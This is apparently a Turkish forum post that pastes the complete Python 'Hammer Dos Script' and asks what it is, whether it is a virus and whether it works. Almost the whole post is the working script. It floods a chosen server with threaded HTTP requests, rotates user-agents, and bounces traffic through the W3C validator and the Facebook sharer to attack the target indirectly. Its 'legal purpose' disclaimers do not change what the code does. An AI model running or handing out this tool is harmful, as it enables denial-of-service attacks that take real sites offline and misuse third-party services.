Python bilinmeyen kod

#!/usr/bin/python3

# -*- coding: utf-8 -*-



# python 3.3.2+ Hammer Dos Script v.1

# by Can Yalçın

# only for legal purpose





from queue import Queue

from optparse import OptionParser

import time,sys,socket,threading,logging,urllib.request,random



def user_agent():

    global uagent

    uagent=[]

    uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")

    uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")

    uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")

    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")

    uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")

    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")

    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")

    return(uagent)





def my_bots():

    global bots

    bots=[]

    bots.append("http://validator.w3.org/check?uri=")

    bots.append("http://www.facebook.com/sharer/sharer.php?u=")

    return(bots)





def bot_hammering(url):

    try:

        while True:

            req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))

            print("\033[94mbot is hammering...\033[0m")

            time.sleep(.1)

    except:

        time.sleep(.1)





def down_it(item):

    try:

        while True:

            packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            s.connect((host,int(port)))

            if s.sendto( packet, (host, int(port)) ):

                s.shutdown(1)

                print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m")

            else:

                s.shutdown(1)

                print("\033[91mshut<->down\033[0m")

            time.sleep(.1)

    except socket.error as e:

        print("\033[91mno connection! server maybe down\033[0m")

        #print("\033[91m",e,"\033[0m")

        time.sleep(.1)





def dos():

    while True:

        item = q.get()

        down_it(item)

        q.task_done()





def dos2():

    while True:

        item=w.get()

        bot_hammering(random.choice(bots)+"http://"+host)

        w.task_done()





def usage():

    print (''' \033[92m    Hammer Dos Script v.1 http://www.canyalcin.com/

    It is the end user's responsibility to obey all applicable laws.

    It is just for server testing script. Your ip is visible. \n

    usage : python3 hammer.py [-s] [-p] [-t]

    -h : help

    -s : server ip

    -p : port default 80

    -t : turbo default 135 \033[0m''')

    sys.exit()





def get_parameters():

    global host

    global port

    global thr

    global item

    optp = OptionParser(add_help_option=False,epilog="Hammers")

    optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)

    optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")

    optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")

    optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")

    optp.add_option("-h","--help",dest="help",action='store_true',help="help you")

    opts, args = optp.parse_args()

    logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')

    if opts.help:

        usage()

    if opts.host is not None:

        host = opts.host

    else:

        usage()

    if opts.port is None:

        port = 80

    else:

        port = opts.port

    if opts.turbo is None:

        thr = 135

    else:

        thr = opts.turbo





# reading headers

global data

headers = open("headers.txt", "r")

data = headers.read()

headers.close()

#task queue are q,w

q = Queue()

w = Queue()





if __name__ == '__main__':

    if len(sys.argv) < 2:

        usage()

    get_parameters()

    print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")

    print("\033[94mPlease wait...\033[0m")

    user_agent()

    my_bots()

    time.sleep(5)

    try:

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect((host,int(port)))

        s.settimeout(1)

    except socket.error as e:

        print("\033[91mcheck server ip and port\033[0m")

        usage()

    while True:

        for i in range(int(thr)):

            t = threading.Thread(target=dos)

            t.daemon = True  # if thread is exist, it dies

            t.start()

            t2 = threading.Thread(target=dos2)

            t2.daemon = True  # if thread is exist, it dies

            t2.start()

        start = time.time()

        #tasking

        item = 0

        while True:

            if (item>1800): # for no memory crash

                item=0

                time.sleep(.1)

            item = item + 1

            q.put(item)

            w.put(item)

        q.join()

        w.join()

[CODE]
Bu neyin kodu? Virüs mü? Gerçek işe yarar mı?